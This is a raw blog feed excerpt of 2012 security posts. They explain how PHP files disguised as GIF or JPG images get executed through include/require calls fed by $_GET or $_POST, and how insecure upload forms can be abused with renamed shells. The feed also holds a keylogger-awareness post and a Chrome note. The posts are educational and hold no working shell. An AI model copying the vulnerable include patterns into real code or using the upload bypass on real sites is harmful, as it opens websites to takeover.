&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: maroon; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-weight: bold;&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;images/&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #797997; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$_GET&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;image.gif&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: purple; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;

&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: maroon; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-weight: bold;&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;images/&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #797997; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$_POST&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;image.gif&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: purple; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: maroon; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-weight: bold;&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;images/&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #797997; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$_POST&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;image.gif&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: purple; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;

&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: maroon; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-weight: bold;&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;image.gif&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: purple; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: maroon; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-weight: bold;&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;image.gif&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: purple; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #5f5035; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
In this situation although the PHP file has a .GIF or .JPG extension, the image.gif file is executed as a PHP file because it&#39;s called by include or required function.&lt;br /&gt;
&lt;br /&gt;
Yes it looks more like a local file inclusion but the difference is only
 files with image extensions are allowed to be uploaded by a upload 
form. &lt;br /&gt;
&lt;br /&gt;
This is one type of a vulnerability, there are some examples where websites load externally hosted images like this,&lt;br /&gt;
&lt;br /&gt;
http://example.com/image.php?image=http://imagehost/image.gif&lt;br /&gt;
or &lt;br /&gt;
http://example.com/image.php?image=http://imagehost/photo.php?id=image.gif&lt;br /&gt;
&lt;br /&gt;
In this situation if the image.php of the example.com website use &lt;a href=&quot;http://php.net/manual/en/function.require.php&quot; target=&quot;_blank&quot;&gt;require&lt;/a&gt; or &lt;a href=&quot;http://php.net/manual/en/function.include.php&quot; target=&quot;_blank&quot;&gt;include&lt;/a&gt; functions to load the external image on the page, and the image.gif is a PHP file with a GIF extension, the malicious .GIF file hosted in a remote location is executed as a PHP on the vulnerable server executing the malicious PHP code.&lt;br /&gt;
&lt;br /&gt;
This is similar to a remote file inclusion.&lt;br /&gt;
&lt;br /&gt;
In this post and the &lt;a href=&quot;http://techyzilla.blogspot.com/2012/07/malicious-php-code-in-form-of-gif.html&quot; target=&quot;_blank&quot;&gt;previous post&lt;/a&gt;, I&#39;ve talked about using plain PHP files with a JPG or GIF extension. But in my next post I&#39;ll talk about injecting a PHP code to a valid image JPG or GIF file, and executing the PHP code on a remote server.&lt;br /&gt;
&lt;br /&gt;
An example of this in action : &lt;a href=&quot;http://stackoverflow.com/questions/5101993/can-a-php-shell-be-injected-into-an-image-how-would-this-work&quot;&gt;http://stackoverflow.com/questions/5101993/can-a-php-shell-be-injected-into-an-image-how-would-this-work&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Credits : &lt;a href=&quot;http://twitter.com/sambowne&quot; target=&quot;_blank&quot;&gt;Sam Bowne&lt;/a&gt; , &lt;a href=&quot;http://twitter.com/le_researcher&quot; target=&quot;_blank&quot;&gt;LeRes&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/3563464401081116669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/07/malicious-php-code-in-form-of-image.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/3563464401081116669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/3563464401081116669'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/07/malicious-php-code-in-form-of-image.html' title='Malicious PHP Code In The Form of An Image : Insecure Web Apps.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaKSyr1AxgSVsCNJ-CgUwJU6IdzHQ-6bBDonQRspaNNunV49K_QbCV697-PUk6sMD-ahT8caKzJ0wpL9SSJKqwXsXkGSb0TkDtdBiNaYRmd3PpvJlEkCOwTKtFMAk-zVISwSaL1FwniXA/s72-c/jpg_logo-2.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-3465865668649251326</id><published>2012-07-16T08:50:00.002+05:30</published><updated>2012-07-16T19:40:52.736+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Malicious PHP In Images"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Malicious PHP Code In The Form of An Image : Insecure Upload Forms.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTeff7oQInYrLKkOjTyVnHteM0PvblObHtI0IogXYC09Os5t2wA7Q9WE486S52K2opkoP4z_wryIOLGS9BRYEUX38-VgXmV67SJ-3nFqzxMl5k-gmeseLkiE_EZu_WJXip6z5uQf3ZDXg/s1600/Biohazard_Symbol.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTeff7oQInYrLKkOjTyVnHteM0PvblObHtI0IogXYC09Os5t2wA7Q9WE486S52K2opkoP4z_wryIOLGS9BRYEUX38-VgXmV67SJ-3nFqzxMl5k-gmeseLkiE_EZu_WJXip6z5uQf3ZDXg/s1600/Biohazard_Symbol.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
I spent this weekend trying to learn something that I&#39;ve seen so many times before but never understood what&#39;s the real thing behind it. It was about how one can hack a website using a PHP file that&#39;s in the form of a GIF or a JPG.&lt;br /&gt;
&lt;br /&gt;
Google doesn&#39;t give any good information about this subject, there are few posts and threads, but most of them are not complete and talks only one part of this subject, so I decided to write few posts about this subject, starting from the very basic to the extreme. &lt;br /&gt;
&lt;br /&gt;
I too was learning and new to this topic, so I had to talk with some friends who are experts in the infosec field. So credit goes to &lt;a href=&quot;http://twitter.com/le_researcher&quot; target=&quot;_blank&quot;&gt;LeRes&lt;/a&gt; and &lt;a href=&quot;http://twitter.com/sambowne&quot; target=&quot;_blank&quot;&gt;Sam Bowne&lt;/a&gt; and&amp;nbsp; Xnite for helping me to learn about this.&lt;br /&gt;
&lt;br /&gt;
Most websites allow people to upload pictures, in the form of avatar, logo etc. These images are uploaded using an upload form. But how can a hacker use this to hack an insecure website? I&#39;m going to start talking about this subject from the very basic topic : Insecure upload forms.&lt;br /&gt;
&lt;br /&gt;
I&#39;ll start with the very basic scenario and I will talk about malicious PHP files in the form of GIF and JPG in the latter part of the website.&lt;br /&gt;
&lt;br /&gt;
It&#39;s easy for a hacker to take down a website by uploading a small PHP shell, one way a hacker can upload a shell to a website is by exploiting an insecure upload form on the website.&lt;br /&gt;
&lt;br /&gt;
For example, let&#39;s say your website has an upload form. Users use this to upload their avatar picture to your website. But the form doesn&#39;t check the file type of the file that&#39;s being uploaded, so it&#39;s easy for a hacker to use this to simply upload a PHP shell to your and take down your website. &lt;br /&gt;
&lt;br /&gt;
But most of the times, programers are aware of this thing and most forms check the extension of the file-type before uploading it. So these forms will check for a valid image file type before uploading and other files types will not be allowed. So a hacker will not be able to upload a PHP shell, because the extension of the shell is .php and it&#39;s not a valid image type.&lt;br /&gt;
&lt;br /&gt;
But what happens if a hacker change the file-type of the shell from PHP to JPG or GIF? Like from shell.php to shell.gif or shell.jpg. Now the file contains PHP code but the extension is of a valid image file-type and the file will be uploaded to your website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Even if the file shell.jpg (or shell.gif) is uploaded, the website is not totally insecure. Uploading the file is easy but executing the JPG or GIF as PHP is the hard part.&lt;br /&gt;
&lt;br /&gt;
Because the extension of the file-type is .JPG or .GIF and therefore the PHP code can&#39;t be executed directly by typing the URL of the shell.jpg on the address bar. Execution of the PHP code by directly typing the URL of the shell.jpg is possible only if the .htaccess file is modified to execute jpg files as PHP. &lt;br /&gt;
&lt;br /&gt;
But if the &lt;a href=&quot;http://httpd.apache.org/docs/1.3/mod/mod_mime.html#addtype&quot; target=&quot;_blank&quot;&gt;.htaccess file is set to run JPG as PHP files&lt;/a&gt; or the hacker can somehow modify the .htaccess file &lt;a href=&quot;http://www.sitepoint.com/forums/showthread.php?625287-How-are-gif-files-being-executed-as-PHP&quot; target=&quot;_blank&quot;&gt;then you are in trouble&lt;/a&gt;. Then although the file extention is GIF or JPG the PHP code will be executed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&#39;ve also come across some forms where they allow us to rename the file when uploading, so insecure programing will check the file-type is a image, but will not check what&#39;s the file-type after uploading, so when you set the file name as image.php after uploading then that image.gilf/image.jpg will uploaded then saved on the server as PHP. Trust me this happens in real life. &lt;br /&gt;
&lt;br /&gt;
I&#39;m sure you have seen all these arbitrary file upload vulnerabilities like &lt;a href=&quot;http://1337day.com/exploits/18807&quot;&gt;http://1337day.com/exploits/18807&lt;/a&gt; where they ask you to upload a shell as a JPG or GIF, but you can&#39;t execute the code. The reason is that &lt;a href=&quot;http://httpd.apache.org/docs/1.3/mod/mod_mime.html#addtype&quot; target=&quot;_blank&quot;&gt;.htaccess file is not set to run JPG or GIF as PHP&lt;/a&gt;. Either you have to somehow modify the .htaccess file or the .htaccess file should be set to run JPG or GIF as PHP.&lt;br /&gt;
&lt;br /&gt;
Although there are ways where an attacker can execute the PHP code in a JPG extension indirectly, which I will talk in my next post. &lt;br /&gt;
&lt;br /&gt;
Here I&#39;ve talked about simple stuff, where you can upload a plain PHP file thought a insecure form, or uploading a PHP file with a image extension JPG or GIF and later executing the file as PHP. There are lot more things to talk about regarding this subject. I don&#39;t want to make this post extremely long. I will leave it for my next post.</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/3465865668649251326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/07/malicious-php-code-in-form-of-gif.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/3465865668649251326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/3465865668649251326'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/07/malicious-php-code-in-form-of-gif.html' title='Malicious PHP Code In The Form of An Image : Insecure Upload Forms.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTeff7oQInYrLKkOjTyVnHteM0PvblObHtI0IogXYC09Os5t2wA7Q9WE486S52K2opkoP4z_wryIOLGS9BRYEUX38-VgXmV67SJ-3nFqzxMl5k-gmeseLkiE_EZu_WJXip6z5uQf3ZDXg/s72-c/Biohazard_Symbol.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-4089354596448796048</id><published>2012-01-04T23:51:00.000+05:30</published><updated>2012-01-04T23:51:12.323+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Malware"/><category scheme="http://www.blogger.com/atom/ns#" term="Tech Thoughts"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Good Lesson In Computer Security From College Computer.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNyxcSyhJpF5wzbFqR35QX4txPplVFYY-sloLtZGZdIS5rIA6BUC1FnoKZGBm6BNHsICQM8R0GVbMuFeGfBSvC6i8eRtH5gxSYgCXnqTRcO7BPZu5HCdMgYQyUh-g9A5vSlyEH0_dWZwA/s1600/keyloggers.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;212&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNyxcSyhJpF5wzbFqR35QX4txPplVFYY-sloLtZGZdIS5rIA6BUC1FnoKZGBm6BNHsICQM8R0GVbMuFeGfBSvC6i8eRtH5gxSYgCXnqTRcO7BPZu5HCdMgYQyUh-g9A5vSlyEH0_dWZwA/s320/keyloggers.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;A public computer at a hotel, air port or college in a nice way to browse the internet, but it&#39;s a not the best idea to use a public computer to log in to your personal accounts like our Email, Facebook and other personal accounts, because most of the time these public computers are infected with malware and key loggers. Recently, our college computers gave me few lessons about computer security.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Most of us know that all the browsing history of all the computers are closely monitored, although this is not a good thing for our privacy it&#39;s been done by the computer administrators saying it&#39;s for the safety of the computers. However accessing internet from the college computers is enough for someone with a decent computer&amp;nbsp;knowledge&amp;nbsp;to not visit the computer center again.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;The college&amp;nbsp;computers&amp;nbsp;are using Microsoft Internet&amp;nbsp;Explorer&amp;nbsp;7. When we look at the modern browsing standards IE7 is an old browser with many security&amp;nbsp;vulnerabilities. It&#39;s a&amp;nbsp;strongly advised thing by everyone that it&#39;s not safe to use IE when browsing the internet. And the the college&amp;nbsp;computer&amp;nbsp;administrators&amp;nbsp;are not letting us install a newer and safer browsers like FireFox or Chrome.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Computers are being infected by key loggers. This is the most dangerous thing when it comes to&amp;nbsp;browsing&amp;nbsp;the internet using public computers. Key loggers are&amp;nbsp;programs&amp;nbsp;written by hackers to record your&amp;nbsp;keystrokes&amp;nbsp;that will record your passwords, and chat records when you log in using a key logger infected computer. The college computers were infected by a key logger called spyEx, and the interesting thing was that the log files were saved in a folder only the computer&amp;nbsp;administrators&amp;nbsp;can access. Since students are not allowed to have administrator accounts the administrators might be recording your passwords without you knowing about it. Recording the browser history is one thing. But recording the passwords of the students is not an acceptable thing.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;How to stay safe in situation like this.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Always use a secure modern browser like Google Chrome, FireFox or Opera. It&#39;s not a good idea to use any version of Internet Explorer.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Always use two way&amp;nbsp;authentication&amp;nbsp;whenever possible. Both Google and Facebook gives you the chance to use two way&amp;nbsp;authentication, therefore even if your password get stolen by a key logger the hacker won&#39;t be able to access your account because of two way authentication.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;If you are not using two way&amp;nbsp;authentication&amp;nbsp;and if the website&amp;nbsp;doesn&#39;t&amp;nbsp;provide two way authentication, for example Twitter,&amp;nbsp;WordPress, Tumblr, it&#39;s better not to log in to your personal accounts using a public computer.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;I won&#39;t be browsing the internet at our college computer center again. Stay Safe.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/4089354596448796048/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/01/good-lesson-in-computer-security-from.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/4089354596448796048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/4089354596448796048'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/01/good-lesson-in-computer-security-from.html' title='Good Lesson In Computer Security From College Computer.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNyxcSyhJpF5wzbFqR35QX4txPplVFYY-sloLtZGZdIS5rIA6BUC1FnoKZGBm6BNHsICQM8R0GVbMuFeGfBSvC6i8eRtH5gxSYgCXnqTRcO7BPZu5HCdMgYQyUh-g9A5vSlyEH0_dWZwA/s72-c/keyloggers.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>Colombo, Sri Lanka</georss:featurename><georss:point>6.9270786 79.861243</georss:point><georss:box>6.8640276 79.782279 6.9901295999999995 79.940207</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-7224731823482944995</id><published>2011-12-25T00:59:00.000+05:30</published><updated>2011-12-25T11:28:22.374+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Chrome"/><category scheme="http://www.blogger.com/atom/ns#" term="Google"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Chrome Developers Leave Future &#39;To Do&#39; Lists Inside The Browser.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQu4Apl5Mc32ABQ3ii4YuPxwmlqO7B0_xOTdujxu8pclx98gAEW_-I8F3Xxs9i92eYuRl3R5lZX1r6wLf2YUTkBzweDurhEL9CYNv9I6E7AIIN-Yh_9WfXvAsOPkwAgHfyQoCY8Cf_F4w/s1600/Chrome-logo-2011-03-16.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;199&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQu4Apl5Mc32ABQ3ii4YuPxwmlqO7B0_xOTdujxu8pclx98gAEW_-I8F3Xxs9i92eYuRl3R5lZX1r6wLf2YUTkBzweDurhEL9CYNv9I6E7AIIN-Yh_9WfXvAsOPkwAgHfyQoCY8Cf_F4w/s200/Chrome-logo-2011-03-16.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Many of you know that Chrome is a browser developed from the Chromium browser. However do you know that the people who program the browser, leave their future &#39;TO DO&#39; list inside the browser and it&#39;s quite&amp;nbsp;interesting&amp;nbsp;looking&amp;nbsp;at them.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Looking at them these lists include, Chrome bugs that are&amp;nbsp;needed&amp;nbsp;to be fixed, future redesigning talk and some other&amp;nbsp;suggestions&amp;nbsp;for future programing.&lt;/span&gt;&lt;br /&gt;
